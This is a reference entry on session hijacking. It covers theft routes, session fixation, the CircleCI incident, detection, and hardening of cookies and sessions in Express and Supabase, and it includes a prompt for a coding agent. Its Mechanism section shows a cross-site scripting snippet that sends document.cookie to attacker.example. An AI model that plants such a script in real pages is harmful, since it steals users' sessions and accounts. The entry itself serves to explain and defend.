Session hijacking
| Class | Authentication |
|---|---|
| Also known as | Sidejacking |
| CWE | CWE-384: Session Fixation; CWE-613: Insufficient Session Expiration |
| OWASP Top 10 | A07:2025 Authentication Failures |
| MITRE ATT&CK | T1539 Steal Web Session Cookie |
| Typical severity | High |
| Affects | Any application that keeps users signed in with a cookie or a token: server sessions, JWT access and refresh tokens, single sign-on sessions |
Whoever holds a copy of a signed-in user's session cookie or token can act as that user. The server treats every request that carries the value as the user's and asks for no password.1 Taking over a session this way is session hijacking.
Description
HTTP treats every request on its own, so after sign-in the server gives the browser a session ID or token, which the browser sends back with each request. From then on the value is worth as much as the strongest sign-in method the application used, two-factor authentication included.2
A valid session ID reaches an attacker by disclosure, capture, prediction, brute force or fixation.2 In practice the routes look like this:
- Infostealer malware on the user's computer copies cookies from the browser's files or memory; Lumma Stealer, RedLine Stealer and Vidar all do this.1
- A Phishing page run through a reverse proxy, with tools such as Evilginx2, passes the real sign-in through and keeps the session cookie the real site returns.1
- Cross-site scripting runs the attacker's script on the site, where it can read any token that page script can reach.2
- A session ID in a URL is written into server logs, browser history and bookmarks, and the Referer header sent to other sites.2
- A session cookie sent over plain HTTP can be read on the network.2
Mechanism
A site at example.com signs Anna in and stores her session in a cookie set without the HttpOnly attribute. A comment field on the site has a cross-site scripting flaw, and Ben posts a comment containing this script:
<script>
fetch("https://attacker.example/c?v=" + encodeURIComponent(document.cookie));
</script>Anna's browser runs the script when she opens the page and sends her cookies to Ben's server. Ben puts the cookie into his own browser, and example.com shows him Anna's account.
Session fixation
In session fixation the attacker supplies the ID instead of stealing it: they open a session, record its ID, and get the victim to sign in with that ID, for example through a link that carries it. If the application keeps the same ID after sign-in, the attacker's copy is now signed in as the victim.3
Impact
The attacker holds every permission the user has while the session stays valid. Cookies often stay valid for long periods while the user is idle, and a stolen one gets past some forms of multi-factor authentication, because the second factor was checked once, at sign-in.1 Supabase Auth sessions have no end date by default, because the refresh token does not expire.4 Deleting the cookie in the victim's browser does not cancel the attacker's copy; only the server can end the session.2
Notable incidents
On 16 December 2022, information-stealing malware infected a CircleCI engineer's laptop, and the company's antivirus did not detect it. The malware copied a single sign-on session that had already passed two-factor authentication, and the attacker used it to act as the engineer from elsewhere.56 With the engineer's right to create production access tokens, the attacker copied customer environment variables, tokens and keys on 22 December. CircleCI disclosed the incident on 4 January 2023 and asked every customer to rotate their secrets. It added step-up authentication for production access, meant to hold even when such a session is stolen.5
Detection
Check the Set-Cookie header of the sign-in response in the browser's developer tools: the session cookie should carry HttpOnly, Secure and SameSite. Compare the session ID before and after signing in; if it is the same, the application is open to fixation.7 On the server, one session used from two distant places within a short time, as seen in sign-in and session records, points to a stolen copy.1
Prevention
Cookie attributes
Keep the session ID in a cookie set with HttpOnly so page script cannot read it, Secure so it travels only over HTTPS, SameSite=Strict or Lax, and the __Host- name prefix, which binds the cookie to one host:2
Set-Cookie: __Host-SessionID=<value>; Secure; HttpOnly; SameSite=Strict; Path=/HttpOnly keeps the value from being copied, but a script injected through XSS can still send requests from the victim's browser that carry the cookie.2 Tokens, JWTs and refresh tokens do not belong in localStorage or sessionStorage, which every script on the origin can read.2
New ID at sign-in, server-side end
The application issues a new session ID at sign-in and at any change of privilege, such as a password change or a switch to an administrator role, and ends the session on the server at sign-out and after idle and absolute timeouts.27 A common idle limit is 2 to 5 minutes for high-value applications and 15 to 30 minutes for low-risk ones.2 In express-session for Express, HttpOnly is on by default and Secure is off:8
app.set("trust proxy", 1);
app.use(session({ secret: process.env.SESSION_SECRET,
cookie: { secure: true, httpOnly: true, sameSite: "strict" } }));
// after the password check
req.session.regenerate(err => { req.session.userId = user.id; res.redirect("/"); });
// sign-out
req.session.destroy(() => res.redirect("/"));In PHP the same steps are session_regenerate_id(true) at sign-in and session_destroy() at sign-out.2
Supabase
Under Auth settings, the options Time-box user sessions, Inactivity timeout and Single session per user limit session lifetime; an access token still lasts until its own expiry, 1 hour by default.4 In JavaScript, supabase.auth.signOut() uses the global scope by default and revokes the refresh tokens of every session the user holds.9 For sensitive actions, the server can reject a token whose session_id claim has no row left in auth.sessions.4
Sign-in and re-authentication
Ask for the password or a second factor again before a password or email change and after a sign-in from a new device.2 A hardware security key that checks the site's domain stops the reverse-proxy method, because the key ties its answer to the real login domain.1
Prompt for a coding agent
Review how this project keeps users signed in. Make the session cookie HttpOnly, Secure and SameSite=Lax or Strict, and use the __Host- prefix where the framework allows it. Move any session ID, JWT or refresh token out of localStorage, sessionStorage and URLs. Issue a new session ID after sign-in, password change and role change. On sign-out, end the session on the server, not only in the browser. Add an idle timeout and an absolute timeout. List each file you changed and any place where a token is still readable by page script.
In SecFlash
SecFlash reports a session cookie without HttpOnly, Secure or SameSite as SF-SEC-501 on the Security page, and ZAP reports the same flags as SF-SEC-628, SF-SEC-629 and SF-SEC-630. A sign-in token kept in browser storage is SF-SEC-503, and a session ID in the address is SF-SEC-654, both on the Security page. A login token written into the HTML served to signed-out visitors is SF-EXP-305 on the Exposure page.
See also
- Session management
- Cross-site scripting
- Phishing
- Multi-factor authentication
- Credential stuffing
- Responding to an administrator account takeover
- Category: Authentication
References
- a b c d e f "Steal Web Session Cookie, T1539". MITRE ATT&CK. Version 1.5.
- a b c d e f g h i j k l m "Session Management Cheat Sheet". OWASP Cheat Sheet Series. OWASP Foundation.
- back "CWE-384: Session Fixation". Common Weakness Enumeration. MITRE.
- a b c "User sessions". Supabase Docs. Supabase.
- a b CircleCI (January 2023). "CircleCI incident report for January 4, 2023 security incident". CircleCI blog.
- back Abrams, Lawrence (14 January 2023). "CircleCI's hack caused by malware stealing engineer's 2FA-backed session". BleepingComputer.
- a b "A07:2025 Authentication Failures". OWASP Top 10:2025. OWASP Foundation.
- back "express-session". GitHub. Express.js project.
- back "Signing out". Supabase Docs. Supabase.
External links
- Session Management Cheat Sheet, OWASP Cheat Sheet Series
- User sessions, Supabase Docs